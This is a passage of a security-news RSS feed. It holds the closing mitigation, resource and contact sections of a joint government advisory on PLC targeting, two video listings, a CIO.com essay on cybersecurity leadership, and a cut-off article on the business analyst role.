<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Tutorials #15 – Matrix on Kubernetes]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 20x - Views:334 A few years ago we deployed Matrix with docker-compose. Now, let's give it a go on Kubernetes!

00:00 Introduction
01:40 Kubernetes Makes Things Simple
04:59 Getting Started
06:21 Installing Kubernetes
14:41 Deploying and Removing a Wordpress
20:5...]]></description>
<link>https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693329/videos/matrix-tutorials-15-matrix-on-kubernetes/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:07 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 20x - Views:334 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mMsyF3bQqWs?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>A few years ago we deployed Matrix with docker-compose. Now, let&#039;s give it a go on Kubernetes!<br />
<br />
00:00 Introduction<br />
01:40 Kubernetes Makes Things Simple<br />
04:59 Getting Started<br />
06:21 Installing Kubernetes<br />
14:41 Deploying and Removing a Wordpress<br />
20:53 Deploying A Matrix Stack<br />
31:02 More Services Almost For Free<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD's New Helios AI Just Made NVIDIA's $5 Million AI Rack Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 64x - Views:1898 AMD may have just launched the biggest challenge NVIDIA has faced in years. Helios isn't just another AI GPU it's AMD's first full rack-scale AI supercomputer, powered by 72 Instinct MI455X GPUs, 18 EPYC Venice CPUs, and an incredible 31TB of HBM4...]]></description>
<link>https://tsecurity.de/de/3693209/videos/amds-new-helios-ai-just-made-nvidias-5-million-ai-rack-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693209/videos/amds-new-helios-ai-just-made-nvidias-5-million-ai-rack-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:35:19 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 64x - Views:1898 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/50M2XLX6UL0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>AMD may have just launched the biggest challenge NVIDIA has faced in years. Helios isn&#039;t just another AI GPU it&#039;s AMD&#039;s first full rack-scale AI supercomputer, powered by 72 Instinct MI455X GPUs, 18 EPYC Venice CPUs, and an incredible 31TB of HBM4 memory. Built to compete directly with NVIDIA&#039;s Grace Blackwell and Vera Rubin platforms, Helios is already being deployed by Microsoft, Meta, Oracle, OpenAI, and other AI giants. In this video, we break down AMD Helios, Instinct MI455X, EPYC Venice, HBM4 memory, Helios vs NVIDIA Vera Rubin, Microsoft&#039;s Azure deployment, Meta&#039;s AI infrastructure, ROCm, CUDA, AI data centers, and why AMD believes it can finally challenge NVIDIA&#039;s dominance in the AI chip market. Is Helios the system that finally gives NVIDIA real competition?<br />
<br />
#AMD #Helios #NVIDIA #AI #ArtificialIntelligence #MI455X #Technology #Semiconductors<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



